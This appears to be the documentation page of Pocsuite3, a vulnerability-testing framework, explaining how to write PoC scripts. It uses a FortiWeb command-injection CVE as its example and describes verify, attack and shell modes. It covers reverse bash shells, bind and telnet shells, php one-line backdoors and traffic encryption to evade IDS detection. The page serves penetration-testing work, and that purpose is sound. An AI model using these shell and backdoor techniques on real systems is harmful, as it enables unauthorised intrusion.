Skip to content
On this page

Write PoC

This section introduces how to write a PoC using Pocsuite3.

Pocsuite3 only supports Python 3.x. To write PoC in Python3 format, developers need basic Python3 knowledge.

Start From Scratch

  1. First create a *.py file, Naming Convention refer to: "PoC Naming Convention"

  2. Import the classes and methods from pocsuite3.api, and write the PoC class DemoPOC, which inherits from the PoCBase class.

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class DemoPOC(POCBase):
    ...
  1. Fill in the PoC attribute fields, Please fill in all attribute fields carefully

TIP

None of these fields are must required and can be left blank

    vulID = '99335'  # Seebug SSVID, default is 0
    version = '1'  # The version of the PoC, defaults is 1
    author = 'seebug'  # PoC author
    vulDate = '2021-8-18'  # Vulnerability disclosure date (%Y-%m-%d)
    createDate = '2021-8-20'  # PoC create date (%Y-%m-%d)
    updateDate = '2021-8-20'  # PoC update date (%Y-%m-%d)
    references = ['https://www.seebug.org/vuldb/ssvid-99335']  # Advisory URL
    name = 'Fortinet FortiWeb Post-Auth RCE (CVE-2021-22123)'  # <vendor> <component> <version> <vulnerability type> <cve number>
    appPowerLink = 'https://www.fortinet.com'  # Vendor homepage
    appName = 'FortiWeb'  # Product or component name
    appVersion = '<=6.4.0'  # Affected version
    vulType = 'Code Execution'  # Vulnerability type
    desc = 'The parameter name in /api/v2.0/user/remoteserver.saml contains a command injection vulnerability.'  # Vulnerability description
    samples = ['http://192.168.1.1']
    install_requires = ['BeautifulSoup4:bs4']  # PoC third-party module dependencies
    pocDesc = ''' Usage description of PoC '''
    dork = {'zoomeye': 'deviceState.admin.hostname'}  # Cyberspace serach engine dork
    suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";'''  # suricata rule of request
    suricata_response = ''  # suricata rule of response
  1. Write code for verify mode
def _verify(self):
      output = Output(self)
      # TODO
      if result:
          output.success(result)
      else:
          output.fail('target is not vulnerable')
      return output

output is the standard output API of Pocsuite3. If you want to print success information, use output.success(result), if you want to print failure information, use output.fail(). The system automatically catches exceptions, no need to handle exceptions in PoC. It is recommended to use the parse_output() function in PoCBase to return results.

def _verify(self, verify=True):
    result = {}
    ...

    return self.parse_output(result)

# PoCBase
def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail()
    return output
  1. Write code for attack mode

Attack mode support operations like getshell, checking admin's username and password. It can be defined in the similar way as verify mode.

def _attack(self):
    output = Output(self)
    result = {}
    # TODO

Like verify mode, after successful attack, it is needed to save the result to result parameter and call self.parse_output(result) to return.

TIP

If the PoC doesn't support attack mode, you can add return self._verify() under _attack() function. Then there is no need for you to rewrite _attack() function.

  1. Write code for shell mode

Pocsuite3 will listen to 6666 in shell mode by default. Then write corresponding attack code, let the victim connect to the 6666 port of the system with Pocsuite3 running, then you can get shell of the victim's computer.

def _shell(self):
    cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
    # execute cmd

In shell mode, you can only run one PoC script at the same time as the console will enter the shell interaction mode, execute command and print.

From Version 1.8.5, Pocsuite3 supports bind shell. The operation method is the same as before. You need to designate ip and port. IP can be a private IP in the local network or a public IP address of your server.

The implementation of bind shell is located at ./pocsuite3/modules/listener/bind_tcp.py. It implements a third layer, which connects the bind shell (eg., telnet, nc, php single line shell) and the IP/port user designated to use. Using that, the shell mode can run in the private network, and doesn't subject to the network restriction.

Pocsuite3 supports three types of bind shell as following.

bind_shell: Genearal method, directly use it by return bind_shell(self, rce_func) in shell mode. For the vulnerabilities which you can get the execution result, you can define a rce function(you can use anything you like as the function name) . The function's parameter is the command input, and the output is the execution result. If no result you can get, it is possible to write a one-line backdoor to convert it to the previous one. Which is worth noticing is that users can also implement traffic encryption method to avoid IDS detection.

bind_tcp_shell: Support tcp bind shell. Using return bind_tcp_shell(bind_shell_ip, bind_shell_port) in shell mode.

bind_telnet_shell: Support telnet service. Using return bind_telnet_shell(ip, port, username, password) in shell mode.

For example, telnet weak credential implementation in shell mode. It works with one line code.

def _shell(self):
    return bind_telnet_shell(ip, port, 'iot', '***')

In the php environment, write a php backdoor in the target, and then implement the AES encryption and decryption of the traffic in the _rce method:

It is worth mentioning that for the vulnerability that can obtain the execution result, we only need to define a _exploit method in the PoC, and then you can easily implement the three modes of _verify, _attack, _shell, as follows :

# TODO
def _exploit(self, cmd='id'):
    result = ''
    res = requests.get(self.url)
    logger.debug(res.text)
    result = res.text
    return result

def _verify(self):
    result = {}
    if not self._check():
        return self.parse_output(result)

    flag = random_str(10)
    cmd = f'echo {flag}'
    res = self._exploit(cmd)
    if flag in res:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        result['VerifyInfo'][cmd] = res
    return self.parse_output(result)

def _options(self):
    o = OrderedDict()
    o['cmd'] = OptString('id', description='The command to execute')
    return o

def _attack(self):
    result = {}
    if not self._check():
        return self.parse_output(result)

    cmd = self.get_option('cmd')
    res = self._exploit(cmd)
    result['VerifyInfo'] = {}
    result['VerifyInfo']['URL'] = self.url
    result['VerifyInfo'][cmd] = res
    return self.parse_output(result)

def _shell(self):
    return bind_shell(self, '_exploit')

From version 1.8.6, Pocsuite3 supports encrypted shell. Use the openssl reverse shell payload in the PoC, and specify the --tls option at the runtime.

As you see, the traffic is encrypted:

  1. Return results

In both verification mode and attack mode, result should be compliance with the following convention. Please refer to "PoC Result Convention" for the meaning of each fileld.

'Result': {
   'DBInfo': {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx', 'Uid': 'xxx', 'Groupid': 'xxx'},
   'ShellInfo': {'URL': 'xxx', 'Content': 'xxx'},
   'FileInfo': {'Filename': 'xxx', 'Content': 'xxx'},
   'XSSInfo': {'URL': 'xxx', 'Payload': 'xxx'},
   'AdminInfo': {'Uid': 'xxx', 'Username': 'xxx', 'Password': 'xxx'},
   'Database': {'Hostname': 'xxx', 'Username': 'xxx', 'Password': 'xxx', 'DBname': 'xxx'},
   'VerifyInfo': {'URL': 'xxx', 'Postdata': 'xxx', 'Path': 'xxx'},
   'SiteAttr': {'Process': 'xxx'},
   'Stdout': 'result output string'
}
  1. Register PoC

Call register_poc() outside the class to register PoC class

class DemoPOC(POCBase):
    # POC inner

# register DemoPOC class
register_poc(DemoPOC)

Now, we develop the PoC from scratch. Then we will build the vulnerability testing environment for PoC debugging.

Automatically Generated Template

The above process is a little tedious,Pocsuite3 supports template generation using -n or --new since 1.9.4 version.

Reference: PoC Writing Example

──(kali㉿kali)-[/tmp/]
└─$ pocsuite -n                            

,------.                        ,--. ,--.       ,----.   {1.9.6-aad0be3}
|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |
|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
|  | --'' '-' \ `--.-'  `'  ''  |  | |  | \   --/'-'  |
`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org
[*] starting at 20:40:34

You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
-----
Seebug ssvid (eg, 99335) [0]: 
PoC author (eg, Seebug) []: 
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-14]: 
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) []: 
Vulnerability CVE number (eg, CVE-2021-22123) []: 
Vendor name (eg, Fortinet) []: 
Product or component name (eg, FortiWeb) []: 
Affected version (eg, <=6.4.0) []: 
Vendor homepage (eg, https://www.fortinet.com) []: 

0    Arbitrary File Read
1    Code Execution
2    Command Execution
3    Denial Of service
4    Information Disclosure
5    Login Bypass
6    Path Traversal
7    SQL Injection
8    SSRF
9    XSS

Vulnerability type, choose from above or provide (eg, 3) []: 
Authentication Required (eg, yes) [no]: 
PoC name [Pre-Auth Other]: 
Filepath in which to save the poc [./20220714_pre-auth_other.py]
[20:40:36] [INFO] Your poc has been saved in ./20220714_pre-auth_other.py :)
...

Released under the GPLv2 License.